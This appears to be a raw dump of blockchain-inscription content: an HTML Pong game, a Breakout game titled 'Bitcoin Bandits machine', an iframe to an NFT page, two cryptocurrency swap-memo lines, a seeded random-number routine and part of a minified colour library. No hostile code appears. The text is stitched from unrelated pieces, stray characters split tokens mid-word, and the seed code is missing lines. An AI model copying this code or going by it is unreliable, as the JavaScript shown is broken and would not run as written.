dS/C3XrrrcU4vxj4t//4lWGGlNKy113w7fyi5dBjy6igAYKSoAGC0uJoWf6U8KVkKW24v5R+1ia++8TBtkNIKaU0c+SFtkOopIIGCEqCBghKi6NlqycubTuEVvn1f2kZxm3c/RAlThU0QFASNEBQWhwtW7f8srZDAIJSQQMEJUEDBKXF0Sd7X3wlpZTSTQv8HMBrqaABglJBL8LBEydDzAGMJxU0QFASNEBQWhwNzZx4NfR8wPhQQQMEJUEDBKXFUcfsADf0HuTcwEhTQQMEJUEDBKXFUeX5Iwv62NZ3N/2eEwv6HmD8qaABgpKgAYLS4nitY8+1HQFASkkFDRCWCjqllJ5+su0IYGzt3Lmz9Pj6TVuGHMmFRYxTBQ0QlAQNENSSanHkv6o8+vBDLUYSy/T0dNshcF7+bxGtBcDwqaABgpKgAYK6aP2mLWfbDgKA+VTQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJM
0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQf0/jlzJFj9MK30AAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,widtM
h:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<griM
d){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}iM
f((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-griM
d;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAUlElEQVR4nO3db4xcV3UA8LsxEYESS25i3BIa4xo2sQCrsgsxMi6OI+okIg4KKog/RZC0BdUE0g9uIzWChkJl1UVNoJZaldSRoK2gX5qEhkDqjSENBFFHqSswWXCNg/njxKmRQyEQzPaDM2/uet/bmTc7M+/Mzu/36frNmztn1/bRmfPuu29i49ZtMwmAcM5qOgAAyknQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBPavpAIjrgc/d2XQI9MnGM
rduaDoEeqKABgpKgAYLS4qCylXHjLR8vxjtv+L1ivOTvvzvwmOiPU79/QdMhsAAqaICgJGiAoLQ4xkxZOyNvZXRj8oJl877+yIFvFuOL1r6kb+fm59c5t99xjFLMBzt+IpGpoAGCkqABgtLiWKS6WZnRct9n7yo999Irrpr3M07dtKUYr7z4ZcX4hflJB+adYta5R9d+tOu5uzl3+tKb55yTv14VRx7z0bd99MxT04s//a72+w6Uz1c6d8W8efyX5fF1+N3lPx+LkwoaICgV9CJQ58JfVbU87qayajS/CPrCT763GJdV01Xyc6e/e2LOvHVUVdtb0gd6io3RoYIGCEqCBghKi2OE9OPCXz+0vrKvrnh9qteLV8/MO9/cLXnrIVVc+Ktjy30fKD0+62fp8HPn8vhaFwmrfi+9/qxlsbG4qKABgpKgAYLS4gioTisjpXrtjBOPH5tzbNnyFV2/P6X2aoRTFa/PPHG8GPd8u/KHporh0ZLz83Or1kHncXSyd+31pXFsM
KVnFUfVz5/JVFUXMFas4Os23kFUcbvUebSpogKAkaICgtDgaVtbOuPr+nxTjNfv/sRgvtJUxLBPnnT+Qcwc5d9046hjk3CxuKmiAoCRogKC0OIakamXGWTv/a86x6SdnivEPumhrNNnOKFN100eZWbvZVaxWqNwpr2WAN6r0usdF2Y0q/ZiX8aKCBghqYuPWbTOdT6NbVZXymrt/XHr8kS98ec6xi17zqmK89NY3F+NBVcpV66Dz/aA91Xs0tZ7qvXHrtoYjoRcqaICgJGiAoFwkXICydkbZRb+UUpp+8hc9fcYgLwDWvcW7xVO9Rydmt3qPNhU0QFASNEBQWhxd6GZ3uYPr35pSSumuz3ypfJJV3WzzPhh1WhmdnuSdUkoHr3xu1/PV+Yo9qHOjxBElZkaHChogKAkaICgtjjOUtTO62Sj/5ORbBhZTt+quyihrZ+Q3pOS2bNlSepwYpqamSo+7QWW0qaABgpKgAYIa2xZHnef+1dkovwllrY1uVmOUtTO0MmLTM
yhgvKmiAoCRogKDGqsWRtzUm120oxte8vf1Vv9fn/i1ZYGyDVLUyI/8dtBz9Yfm2qN967YeL8Yvv/dOe4ujnHBFiGPQc0w89OOeYVsZ4UUEDBDVWFXSVTlVztEdKLcRZf7K3GB9ad0nX75vIxofW/XtPn93POSLEMIg5Js/NaqZnbqlXNY8vFTRAUBI0QFBaHBUWU1sjl1+QWvZw97eGf/XSDxbjV9z3/p4+u59zRIhhEHOseeWri7Ed6lBBAwQlQQMEpcUxxpaet7zrcyeyBw4sPdD9+wY1R4QYBjHHr5w3//MeGS8qaICgJGiAoLQ46Nm9/1T+IINK2fn39vqhz8yx0PcPc47XvqX8VnvoRAUNEJQEDRCUFge1tVobl2y9uuFIRkPr96XVQV0qaICgJGiAoCRogKAkaICgXCQcM/mjlups2M/CTV19S8fjR/MN+5OLiuNOBQ0QlAQNEJQWx5jpx4b99GbLHTcU471rry/Glx34WDG+YPVFxdiG/aigAYKSoAGCM
0uIYY71u2M/Czfp9HmgPbdhPTgUNEJQEDRCUFkdAT21/aenxs5d1v+oCGH0qaICgVNANW/npubfzPnhqS+m5G05MFWPVNCx+KmiAoCRogKC0OIbkwhtfXnq8rJ2x4tHbSs89duF1xThvd6Tl2h2wGKmgAYKSoAGC0uLos7JVGSlVr8woa2d8+9vfLsa7d+9un7trVzGe1e6YPt3ueP7k2o7x2bC/OTbspy4VNEBQEjRAUFocC/D0iWPt8TO3Z9dpZaQ0u51RZvv27eXzlbQ7Wq2OlFJKV1xV+j4b9jfHhv3UpYIGCEqCBghKi6OmvK1R5yaTTq2MbuTtjl1Zi6NXNuxvjg376YYKGiAoCRogKC2OLlS1NTrdZNKrQ4cOLXgOYPSpoAGCUkFX6KZqzqvlXqvesvfdc889Pc0FLC4qaICgJGiAoLQ4hqSqBVLWzujHGmdg9KmgAYKSoAGC0uI4w2PTp++77XXlRp1WRkrl7Yy9e/fWel8rvlmb+N/64TnvScmG/U2yM
YT91qaABgpKgAYLS4uizOq2MlGa3M4bBhv3NsWE/damgAYKSoAGC0uLok3f/z7tSSil9c9e3Sl/fsWNH13Nt+dkt7XH+TIAjdxXDvGFSPJNwSfuZhG96X7uVsfOG8tUANuxvjg376YYKGiAoFXSf/O2v/93pQXbNr5td6fJqGSCnggYISoIGCEqLI7Vv706pfYt3vzfm/8vV2WW9lVfNe+7EFXfN+3pKs2/rBhYnFTRAUBI0QFBaHF3YvXt3Mb788svnPTdfuTGrrVGhrJ1x5MiRYnzNNdeUvm/F/nYLRrsDFicVNEBQEjRAUFocQzLx7vxP7bbGdy86vXvZ4SceK47lbY0VK9o7zh07dmzBcdiwvzk27KcuFTRAUBI0QFBaHCml50+uLcYbpk/vCJevjFiRbba/ffv2Ypyv7mjJN+bP13A8/PDDxXjZsvaOZee+4Q0ppZTO+8lP2p+3ovuN9OuyYX9zbNhPXSpogKBU0AtQ9hir9evXl5573XXtivy229prmK+ZM
mTk9WN7em3lw9fNs9oNujv2g6YYKGiAoCRogKC2O1Hk3u/zJ2y960YuK8ZVXXtnT5+Xtjpb8wuDdd9/dcY6Zz7Z3xJu44nSs+YXNDbd+eM57gNGiggYISoIGCGpsWxxPn2jfNt1qa6TUbm284x3vKI595CMfKca9tjVyeTvj365fklKavavdluxR3ocPHy4d5+f3+lRvIDYVNEBQEjRAUGPb4ihra6TUbm089thjZ75lQapWZlz21Ok4Vq1aVRybmmq3KvLjuVkrNp5pbeS3rAOjTwUNEJQEDRDU2LY46sjbE/nqjrI2SFUrI1+ZkcvbGS15WyNfuVHW1kipXmujHxv2L/nUj1JKKX3lTc/r6f3jpvX7mvs3fZoN+6miggYISoIGCEqL4ww333xzSimllStXdjy3rJ1Rp5WRUrttka8kGaR+bNj/ivvef3qw9epan106R02tORb6/qHO8Q9v7XqONa98dTG2YT8qaICgVNBnuPDr70kppTTzn39WHJv4zfb49ttvM
L8Zl1XKnSjmSXjfsX3qg+/cNao4IMQxiDhv29+6Df/y+lFJKq1e3f7eHDh0qxvnx3Fvf9d7BBrYAKmiAoCRogKDGtsWRryPO2w+tze9TuiuV2bFjRzHev39/MW61NqpaGfnn5fJbzlvytc9Ad1otjMgti7pU0ABBSdAAQY1ti+PsZe01wBtOlLc7WqrWKOcrNso2zc89uvO/i/GFN758zut1V3nk8Y+7qUtvLj3+/le1V0f8x1/84bDC6coP739PMT75xfvbL3zxvmK4c5gBLQL5io3FQgUNEJQEDRDU2LY4OsnbGvnKjV27dhXjst3ljrzx46XzTWTjvN2xoaTd0Y2zU28tjnw3u28tO7/7Nx5uf33cu/b6nj67n3Pk789/t6+7+JeL8Qe//HgxnmmdH+TnOPk31xTjJet+rRifeug7vcVE5Y0oo0wFDRCUBA0QlBZHF44fPz6wuctaIhe95lXF+NRN5bvj1XHjLe3P2HnDZXNer9qBb1R84c2fKMaf+cb/lp6zM
+fN/NKxwaqtqa7T+XqY+d2fp6xu3bhtYTMSgggYISgXdhT179jQdwrxOPH4spZTSsuXtC4f3fbb8VvW8mm7ZeUP5o5Xe+c539iG6wXv7l24qxvv27SvGmzdvbp/Uxf7ew3RTFk9VzK0zqv4eqv5djnplvfvhB1NKKS0/+9zi2ONPP1mMq44/uuH0Xue7Zx4sPfeNL31p/4MdMBU0QFASNEBQWhwVIm6w30mr1XGmTq2PvO3xgydOFOM9f75jzrkpdW59HDlypBjv++2/LsYXrX1JMf7Vv3pdSmn2o8Xy931iuj1e+vpNxfjqrz867/uq4uj0CLNRjLlO62OU2h6ttkQ3bY38+KGnfp5SSmn1OeXnjiIVNEBQEjRAUBMbt26baTqIYXkgW086uW5DMc5bAI9NH+hp7nN2fy2llNIjX/hy6esT6y4pPT7z0FfmHOv3Ougq+c9d5tIrrio9Xrbqo+rrdtVX+Tothzrv64dRjLmTUVrx0esqjpMTr00ppbR05t7Sc63iM
AKBvJGiAoKziOMPzJ9emlKpXRCwmZT9jlJtdmmwL9PrZEVoZVUbpZherONpU0ABBSdAAQWlxMEs/bnbJVbU+iK214qmJVkerLfHAzMXFsSdP/rgYn3vOBRXHv59SSukTJ5cVx3536cDCHAoVNEBQKmi6klfWZeun61xQTKldWefr0Vde/LJifPRtH503nhd+8r1dn5ufnz+iKr+N+5ED3yzGlx34WE9x5HqNv+x4rz9r1flVMa9/ZfvvoslvPq0Lf7Or4+cW4yefKj9++ZLDKaWU7jlnVXHs8acfHVicw6CCBghKggYISouDgcpbH1W3jndS9ZW807llX++r2hr58VRxt3/r/LwFUiembtoTdVS1ZeaL4cw46vxuh6V1kXDWxcCKtkZ+vNXayI8tX9peEz2KVNAAQUnQAEFpcSxSnXaqGyVlKy+qvprPOrfDvLNWa6zt3H6o29oYtDrxRG9r5Dqt4mit1khp9oqNVmsjP9cqDgAGQoIGCEqLY4z1uqpi2GatsOigM
btuijjo3fXR6Xzfndpq7at6y9y2mVRxlbY2UUvqdXzp9M9W//F+7vWcVBwADIUEDBOWZhKl8xUPdDfuXfGgqpRTnmYRVqzjytoad5qjS5Ib9n/7a6ed75rvSdbMXR9kqjo0T3yjG23+j/X9+VKigAYKSoAGCsoqDWe0e4ph+6MGUUrPthiZ0WsXRWq2R0uwVG63Whr04ABg4FTSL6rbwUfdbayeL8a5nKuhx0+lW77xqLqum3eoNwMBJ0ABBaXEAoTx16mcppZQuf05Fe+I57eGTv2iPy84/96xn9zO0oVNBAwQlQQMEpcUB9E2+nUKvVvchjlLf/868L2/Z0t5WYWpqquPxYaxPV0EDBCVBAwSlxUFtJ9/3z02HsGhNnzvR/sOuXc0F0qNVq1Z1Pimow4fbzzrMf46q48OgggYISoIGCEqLg66UtTWm87sE6BM1E23+NQAEpYKmtrLKuezRXdT3yLLzmw6BQFTQAEFJ0ABBaXHQs6q2Rv5UcuqZzNZB39FgHL16M
weTL5xz74dFDDUSyMCtWtB8K8NOzn9dYHCpogKAkaICgtDjoi6q2xtJb3zzkSEbbZPZMwsVi6dKlTYdQ28qVK4vx9PeeaCwOFTRAUBI0QFBaHPSdtgb0hwoaICgJGiAoLQ4aceLxYymllKYferDhSAbvkq1XNx0CI0oFDRCUCpqhaVXNKbUr5/yJyfna01G3adOmYnzttdemlMa3kj5r6fJi/Oynf1SMo6w1bsUUJZ6cChogKAkaICgtDkbKvn37UkopTW8/PP+JKaVnXdC+bfraz2/sat5u5u5m3oMHD3aMbxzlbYTzz28/nKDJlkIrpijx5FTQAEFJ0ABBaXEw8p71imeXHv/5V6ezP83f4qgzdz/mhW6ooAGCkqABgtLiYPSdf3l7fPye0ZkbOlBBAwQlQQMEpcXB6MtbD3lLIt0xoLn7MC90QQUNEJQEDRCUFgeLyyBXWljFwZCpoAGCUkEz8n7+1Z+O5NzQiQoaICgJGiAoLQ5GyubNm1NKKf3B1zYPZN5BM
zA29UkEDBCVBAwSlxcFIyZ8b18maNWuK8f3339/IvLAQKmiAoCRogKC0OBhJ+/fvH8m5oQ4VNEBQEjRAUBI0QFASNEBQEjRAUBI0QFASNEBQ1kEzktavXz+Sc0MdKmiAoCRogKC0OBgpx48fH6l5YSFU0ABBSdAAQWlxMFKOHDnSdAizrFy5sukQWMRU0ABBSdAAQWlxQE2HDx8uHW/evLmBaFjMVNAAQamgGUl55bpq1aqhfnb+eS4SMkgqaICgJGiAoLQ4GEnDbmtAE1TQAEFJ0ABBSdAAQUnQAEFJ0ABBWcUBNbnVm2FRQQMEJUEDBKXFATXZi6P/rnvT64vxwYMHB/55+/fvz/503sA/r1cqaICgJGiAoLQ4GCmj0lJYs2ZN0yGwCKigAYJSQTM0y5avKMaT6zaklFKamppqKpyB2rNnTzFu/azjavIF7YtwmzZtKsb5xcDbPvWvwwwppbOfN+/L+UXLoceWUUEDBCVBAwSlxUEjWu2Ocfj6n7d2aPvSgUeaM
DiGllNL0955oOoRKKmiAoCRogKC0OGiUr//jZRi3cfdDlDhV0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABB2bC/Qt2N5E8GiQNYPFTQAEFJ0ABBSdAAQUnQAEG5SAgM1J49e0qPb9y6bciRzC9inCpogKAkaICgJjZu3TbTdBBNeOBzdzYdAswrWgugV1X/16L9fBHjVEEDBCVBAwQ1ti0OgOhU0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEH9PzJ9NZYAa8gHAAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="400" heighM
t="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G",M
"G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})M
}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ballM
.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}elsM
e{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.M
which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<iframe src="https://emblem.finance/nft?id=899828" style="border:0px #ffffff none;" name="myiFrame" scrolling="no" frameborder="1" marginheight="0px" marginwidth="0px" height="900px" width="800px" allowfullscreen></iframe>
CjA=:ETH.ETH:0x46dEa66077f50f33201715EE10440E07B5657307:7899715:te:0
DjB=:BNB.BNB:bnb1udyqg067wr27pdnteparr3cvy365hmc6aa6z5k:35279603:te:0
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
